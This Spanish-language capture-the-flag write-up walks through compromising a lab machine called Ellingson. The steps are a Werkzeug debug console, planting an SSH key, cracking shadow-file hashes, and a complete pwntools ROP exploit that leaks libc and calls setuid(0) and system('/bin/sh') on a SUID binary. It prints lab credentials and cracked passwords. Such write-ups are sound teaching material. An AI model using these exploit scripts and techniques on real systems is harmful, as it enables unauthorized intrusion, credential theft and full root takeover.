Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap 10.10.10.139
Nmap scan report for 10.10.10.139
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
La página principal muestra 3 articulos de la empresa Ellingson Mineral Company
Visitando los articulos podemos ver que se gestionan simplemente apuntanto a la ruta /articles/
y un identificador que en este caso solo es un numero cualquiera
Al apuntar al identificador 4
y este no existir nos lanza un error de werkzeug
que al tener el modo debug
habilitado podemos lanzarnos una consola de python
Shell - hal
En este punto podemos importar la libreria os
y mostrar el output de os.popen
al ejecutar el comando id
, en este caso lo ejecuta hal
que pertenece al grupo adm
>>> import os
>>> print(os.popen("id").read())
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
>>>
Revisando si el usuario tiene un archivo id_rsa
para conectarnos a ssh encontramos una, sin embargo esta parece encriptada y con john
no conseguimos la contraseña
>>> print(open("/home/hal/.ssh/id_rsa").read())
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,4F7C6A9FD8FB74EDF6E605487045F91D
qVxdFeBjyqXIUkZ6A+8u77HfZgUUwmPOuhN9xFYy+f36kKwr1Wol3iWRHB7W7Ien
5vjyyNT3+mTO272NcAwreWRH0EZWDmvltWP5e9gESTpA4ja+vNP32UNwJ9lK1PLL
mSm7XFl4xOMkhheRzJlLRF7b41C8PKsMVP2DpaHLMxHwTCY1fX5j/QgWpwPN5W0R
DTQvsHyFj+gfsYjCTdrHUX0Dhg+LdVr7SH9NDt0twg/RxtXkAvwbyw3eRXAR0YCB
mrldQ4ymh91G4CapoIOyGUVZUPE/Sz1ZExVCTlfGT9LUgE8L7aaImdOxFkrKDiVb
ddhdWnXwnCrkxIaktwCSIFzl8iT71OxsQOcoq+VV8VbOsL2ICdgHNOIxQ2HonRQS
Ej19P02Ea5rOHVVx/SYxT+ce6Zx301GkYmPu80LVVFK8x7gRajMYgFu/bgC67F91
/QQ6IYkpoSr+eY8l0aJa5IpUo20sGV6xktiyx4V5+kMudiNTE/SAAea/vCCBBqZl
5YFdp/TW5sqvkvB5w4/a/UUj1POa0tT/Ckox9JWq2idq+tYw+MATejY+Xv1HUOun
YuV0Lm5AjdSBAcpIfU6ztJQ1zoVVYPqWXwRia38pSFDTz1pAHt9W6JBCRT3PKLo9
rb8xOhvx6VNj4ZgvaEdxw25RCAGyoEN6/S7z/tgVYZvWoXRqUvOkYq2iyECQ+6ib
qn/YjpRCX0Q9/3QRH0XSfTo7GvzbS4nTC2KubxmG9CJv/AAfdf1DcpvSfjtkUn5a
bN1NOMWbJkrFCLeS6P4fPUJt8VwEJXP+IQaqz9bJYyRI1uIrG2PhzpRZ+24iHv63
2lY+lZpeZBdagYJcp3qnh/f6kVtD+AyhyDurQ+EhsgBdqm4XM+d7AvilTDzqiU3v
b6ZIzTRsVTWUKsTfvkiFop64d8uIov16b6FimiG/YNFQfd7SUL8hvjJVeArWRGjO
vPn+RB4BYS0s3VZI+08Jo/BL8EXFeuMZdpbDFnGDhaINSL1/cZasQS6hRYUJsKZN
T7ptM3NdKNyrVGwfKyttp3OHZFjPRjZezpBR60q+HI37pt/iDkuhbeK2Pr9jNR3f
jfqv8lGlOMIoPA6ERxPveUrLldL6NfLT0gPasDrWo0RRDIzanqz0wYK/SfuIiumT
8tonBa4kQlxAyenW1p+nx5bZ1QXPQaUbXbAe3AbOU2YG20LJ0v8mxVZE0zP9QNZM
DSHtv3uIl3nONJIJryp8Y6UjW1q3+UaAnTS6J/IXk+JVsSIRs5hbNDtNLlhFowDq
2OWEh2CRE7TNptk6Bb8pZbfyA/lCXJhJjo8YZLc3xZ2h1WF1vaXCHYo/FNqeoS0k
yicWCEz2fSKfNMnMpcVreQglfA9u49+Cvqzt1JnIlX1gDUg8EXV5rLAEgiSRfVin
B1pTjH/EROnppfQkteSbRq9B9rrvcEQ8Q5JPjr7kp3kk07spyiV6YqNmxVrvQtck
rQ+X68SNYRpsvCegy59Dbe5/d6jMdFxBzUZQKAHCyroTiUS8PtsAIuRechR0Cbza
OM2FRsIM8adUzfx7Q91Or+k2pIKNKqr+5sIpb4M0GHggd7gD10E+IBUjM9HsQR+o
-----END RSA PRIVATE KEY-----
>>>
❯ ssh2john id_rsa > hash
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
Session completed.
Lo que podemos hacer es modificar el archivo authorized_keys
para guardar nuestra clave publica
para asi despues conectarnos a ssh sin proporcionar contraseña
>>> open("/home/hal/.ssh/authorized_keys", "w").write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHJkHdh26fDO0wZqVbBRvzXh2zSSqUyQG8TyIcPU05yf user@ubuntu")
92
>>>
❯ ssh hal@10.10.10.139
hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
hal@ellingson:~$ hostname -I
10.10.10.139
hal@ellingson:~$
Shell - margo
Ya que formamos parte del grupo adm
podemos buscar archivos que pertenezcan a este usando find
, uno que llama la atención de primeras es shadow.bak
hal@ellingson:~$ find / -group adm 2>/dev/null | grep -v snap
/var/backups/shadow.bak
/var/spool/rsyslog
/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
/var/log/kern.log
/var/log/syslog
/var/log/nginx
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/cloud-init.log
/var/log/unattended-upgrades
/var/log/apt/term.log
/var/log/apport.log
/var/log/mail.log
hal@ellingson:~$
Este archivo es una copia del /etc/shadow
y contiene hashes de varios usuarios del sistema en formato sha-256
que si la contraseña es debil podemos crackear
hal@ellingson:~$ cat /var/backups/shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:~$
Usando john
para aplicar fuerza bruta logramos crackear 2
de los 4 hashes, sin embargo solo una de las contraseñas funciona en el sistema y es la de margo
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 XOP 2x])
Remaining 2 password hashes with 2 different salts
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (theplague)
iamgod$08 (margo)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Podemos usar ssh
para conectarnos como el usuario margo y asi leer la primera flag
❯ sshpass -p 'iamgod$08' ssh margo@10.10.10.139
margo@ellingson:~$ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)
margo@ellingson:~$ hostname -I
10.10.10.139
margo@ellingson:~$ cat user.txt
7ec**************************877
margo@ellingson:~$
Shell - root
Buscando por archivos con privilegios suid
encontramos ademas de los tipicos un binario que parece ser personalizado, este binario tiene el nombre garbage
margo@ellingson:~$ find / -perm -u+s 2>/dev/null | grep -v snap
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount
margo@ellingson:~$ ls -l /usr/bin/garbage
-rwsr-xr-x 1 root root 18056 Mar 9 2019 /usr/bin/garbage
margo@ellingson:~$
Al ejecutar el binario nos pide una contraseña, si le pasamos cualquier string como password
nos devolvera que esta es incorrecta y el programa se detendra
margo@ellingson:~$ garbage
Enter access password: password
access denied.
margo@ellingson:~$
Usando ida
podemos desensamblar el binario, la función main
es bastante simple, inicia llamando a check_user
que devuelve un uid
, este se almacena en una variable y se le pasa como argumento a la función set_username
, finalmente se llama a la función auth
y se realiza un salto condicional dependiendo del valor de retorno
Si devuelve 0
llama a la función exit
para salir, si devuelve verdadero envia mensajes con puts
mostrando un menú, luego con scanf
recibe una opción e inicia una comparación tipo switch
para realizar una u otra acción dependiendo de esta
Volvamos a la primera función que llama main
, la función check_user
llama a getuid
para obtener el uid
del usuario que lo ejecuta, luego lo compara con 1002
y 1000
, si el uid
es diferente de estos 2 valores no se permitirá el acceso a la aplicación
Sigamos con set_username
, esta función llama a getpwuid
pasandole el uid
actual, esto con el fin de obtener el nombre asociado, si no se encuentra se devuelve error
Le toca el turno a auth
, esta llama a strcpy
para copiar a un buffer el usuario, seguido de ello muestra un mensaje con printf
pidiendo una contraseña y se recibe con gets
en el mismo buffer, luego este se compara con la contraseña N3veRF3@r1iSh3r3!
, aunque lo interesante parece ser la contraseña lo verdaderamente interesante es el buffer en ebp - 128
ya que al recibir con gets
cualquier dato si enviamos más bytes ocasionaremos un buffer overflow sobrescribiendo más datos
Algo a tener en cuenta son las protecciones, en este caso nos encontramos con NX
que nos impide ejecutar shellcode directamente por lo que tendremos que usar ROP
❯ checksec garbage
[*] '/home/user/garbage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
El buffer inicia en rbp - 128
, asi que lo rellenaremos con A's
, luego enviamos otras 8 B's
que tomara rbp
como valor seguido de 8 C's
como dirección de retorno
❯ python3 -q
>>> b"A" * 128 + b"B" * 8 + b"C" * 8
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC'
>>>
Lo enviamos como payload y al corromper podemos verificar que rbp
toma como valor las B's
y la dirección de retorno las C's
, como conclusión obtenemos que el offset para sobrescribir el puntero que apunta a la dirección de retorno son 136
bytes
❯ gdb -q garbage
Reading symbols from garbage...
(No debugging symbols found in garbage)
pwndbg> run
Starting program: /home/user/garbage
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
access denied.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401618 in auth ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe2d8: 0x4343434343434343
pwndbg>
Para lekear una direccion de libc
base necesitaremos algunas cosas, primero la direcion de la funcion puts@plt
del propio binario que podemos ver desde gdb
pwndbg> plt
Section .plt 0x401020-0x401170:
0x401030: putchar@plt
0x401040: strcpy@plt
0x401050: puts@plt
0x401060: fclose@plt
0x401070: getpwuid@plt
0x401080: getuid@plt
0x401090: printf@plt
0x4010a0: rewind@plt
0x4010b0: fgetc@plt
0x4010c0: read@plt
0x4010d0: fgets@plt
0x4010e0: strcmp@plt
0x4010f0: getchar@plt
0x401100: gets@plt
0x401110: syslog@plt
0x401120: access@plt
0x401130: fopen@plt
0x401140: __isoc99_scanf@plt
0x401150: strcat@plt
0x401160: exit@plt
pwndbg>
Ademas usaremos la dirección de got
puts que hara referencia a la direccion de puts cargandola desde libc
, la idea es lekear esta direccion para calcular libc
pwndbg> got -r puts
Filtering by symbol name: puts
State of the GOT of /home/user/garbage:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x404028] puts@GLIBC_2.2.5 -> 0x7ffff7e38b00 (puts) ◂— push r14
pwndbg>
Usando ropper
vamos a conseguir un gadget que ejecute un pop rdi
, este lo usaremos para guardar en rdi
la direccion de got
para usarlo como argumento
❯ ropper --file garbage --search "pop rdi; ret;"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: garbage
0x000000000040179b: pop rdi; ret;
Por ultimo la direccion de main
para que despues de lekear libc con nuestro primer payload vuelva al inicio y podamos enviar un nuevo payload sin dejar de ejecutarlo
pwndbg> p main
$1 = {<text variable, no debug info>} 0x401619 <main>
pwndbg>
La primera parte del exploit ejecutara puts
pasandole como argumento la direccion de got
por lo que se nos mostrara la direccion de puts cargado desde libc
#!/usr/bin/python3
from pwn import ssh, p64
session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")
shell = session.process("/usr/bin/garbage")
offset = 136
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()
shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")
print(shell.recvline())
Al ejecutarlo explota el buffer overflow remotamente y al interpretar nuestro payload conseguimos lekear la direccion de la funcion puts
cargada desde libc
❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4202
b'\xc09~\x9e\x01\x7f\n'
Para representarlo en un entero como necesitamos podemos usar u64
de pwntools
#!/usr/bin/python3
from pwn import ssh, p64, u64, log
session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")
shell = session.process("/usr/bin/garbage")
offset = 136
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()
shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")
leak = u64(shell.recvline().strip().ljust(8, b"\x00"))
log.info(f"Leak: {hex(leak)}")
Al ejecutarlo podemos ver la direccion lekeada en un mejor formato que es el hex
❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4109
[*] Leaked puts: 0x7f6eacc229c0
Lekeamos la direccion de puts cargado desde libc
por lo que si le restamos el offset de puts
que vemos con libcdb
lo que conseguimos es la direccion base de libc
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.27
BuildID: b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0
MD5: 50390b2ae8aaa73c47745040f54e602f
SHA1: 18292bd12d37bfaf58e8dded9db7f1f5da1192cb
SHA256: cd7c1a035d24122798d97a47a10f6e2b71d58710aecfd392375f1aa9bdde164d
Symbols:
__libc_start_main_ret = 0x21b97
dup2 = 0x1109a0
printf = 0x64e80
puts = 0x809c0
read = 0x110070
str_bin_sh = 0x1b3e9a
system = 0x4f440
write = 0x110140
Despues de lekear libc enviamos un nuevo payload que guardara en rdi
la direccion de la string /bin/sh
para posteriormente llamar a system
y conseguir una shell
#!/usr/bin/python3
from pwn import ssh, p64, u64
session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")
shell = session.process("/usr/bin/garbage")
offset = 136
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()
shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")
libc_base = u64(shell.recvline().strip().ljust(8, b"\x00")) - 0x809c0
payload = b""
payload += junk
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(libc_base + 0x1b3e9a) # "/bin/sh"
payload += p64(libc_base + 0x04f440) # system()
shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")
shell.interactive()
Sin embargo al ejecutar el exploit no conseguimos una shell
como se esperaba sino que el programa se detiene muy probablemente por un error de instruccion
❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4717
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Para ver que esta pasando podemos usar gdb
para ver donde se detiene el progama
shell = gdb.debug("./garbage", gdbscript="continue")
Una vez ejecutamos el exploit podemos ver que se corrompe al ejecutar un movaps
, esto se debe a que las funciones de libc en x64
requieren que la pila este alineada en 16
bytes, osea que la direccion de rsp
termine en 0
que en este caso no es asi
Program received signal SIGSEGV, Segmentation fault.
0x00007f9674c4f2f6 in ?? () from ./libc.so.6
pwndbg> context disasm
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────
► 0x7f9674c4f2f6 movaps xmmword ptr [rsp + 0x40], xmm0
0x7f9674c4f2fb call sigaction <sigaction>
0x7f9674c4f300 lea rsi, [rip + 0x39e2f9]
0x7f9674c4f307 xor edx, edx
0x7f9674c4f309 mov edi, 3
0x7f9674c4f30e call sigaction <sigaction>
0x7f9674c4f313 xor edx, edx
0x7f9674c4f315 mov rsi, rbp
0x7f9674c4f318 mov edi, 2
0x7f9674c4f31d call sigprocmask <sigprocmask>
──────────────────────────────────────────────────────────────────────────────────
pwndbg> regs rsp
RSP 0x7fff39bee1f8 —▸ 0x402181 ◂— 'access denied.'
pwndbg>
La solución es sencilla y es que solo necesitamos un gadget para ejecutar un ret
, al hacerlo este alineara la pila por lo que la funcion deberia ejecutarse sin problemas
❯ ropper --file libc.so.6 --search "ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret;
[INFO] File: libc.so.6
0x00000000000008aa: ret;
Definimos la direccion de ret
que enviaremos justo antes de llamar a system
payload = b""
payload += junk
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(libc_base + 0x1b3e9a) # "/bin/sh"
payload += p64(libc_base + 0x0008aa) # ret;
payload += p64(libc_base + 0x04f440) # system()
Al ejecutar el exploit conseguimos una shell sin embargo seguimos como el usuario margo
, es porque aunque el programa es suid en ningun momento ejecuta setuid
❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 4813
[*] Switching to interactive mode
$ $ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)
$ $
El offset de la funcion setuid
podemos conseguirla con readelf sobre libc.so.6
❯ readelf -s libc.so.6 | grep setuid
23: 00000000000e5970 144 FUNC WEAK DEFAULT 13 setuid@@GLIBC_2.2.5
Nuestro exploit final se divide en 2 etapas, la primera se encarga de lekear la direccion base de libc
y la segunda se encarga de ejecutar un setuid(0)
seguido de system("/bin/sh")
que nos otorga una shell con el uid 0 que es el de root
#!/usr/bin/python3
from pwn import ssh, p64, u64
session = ssh(host="10.10.10.139", user="margo", password="iamgod$08")
shell = session.process("/usr/bin/garbage")
offset = 136
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40179b) # pop rdi; ret;
payload += p64(0x404028) # puts@got
payload += p64(0x401050) # puts@plt
payload += p64(0x401619) # main()
shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")
libc_base = u64(shell.recvline().strip().ljust(8, b"\x00")) - 0x809c0
payload = b""
payload += junk
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(0x0) # uid (root)
payload += p64(libc_base + 0x0e5970) # setuid()
payload += p64(libc_base + 0x02155f) # pop rdi; ret;
payload += p64(libc_base + 0x1b3e9a) # "/bin/sh"
payload += p64(libc_base + 0x04f440) # system()
shell.sendlineafter(b"password: ", payload)
shell.recvuntil(b"access denied.\n")
shell.interactive()
Al ejecutarlo se conecta a ssh
como margo donde ejecuta el binario y al explotar el buffer overflow con el payload anterior conseguimos una shell
como root
❯ python3 exploit.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 5512
[*] Switching to interactive mode
# $ whoami
root
# $ hostname -I
10.10.10.139
# $ cat /root/root.txt
424**************************ddf
# $